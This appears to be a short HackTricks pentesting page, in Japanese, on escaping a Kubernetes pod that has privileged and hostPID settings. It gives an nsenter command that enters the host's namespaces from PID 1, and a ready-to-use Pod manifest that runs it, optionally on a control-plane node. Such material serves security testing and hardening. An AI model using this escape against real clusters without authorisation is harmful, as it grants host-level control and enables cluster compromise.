Pod Escape Privileges

HackTricksのサポート

特権とhostPID

これらの権限を持つと、ホストのプロセスにアクセスし、ホストプロセスのネームスペースに入るための十分な権限があります。 特権が必要な場合もありますが、特定の機能や他の潜在的な防御回避策(たとえば、apparmorやseccomp)が必要な場合もあります。

次のようなコマンドを実行するだけで、ポッドから脱出できます:

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

構成の例:

apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
HackTricksのサポート

Last updated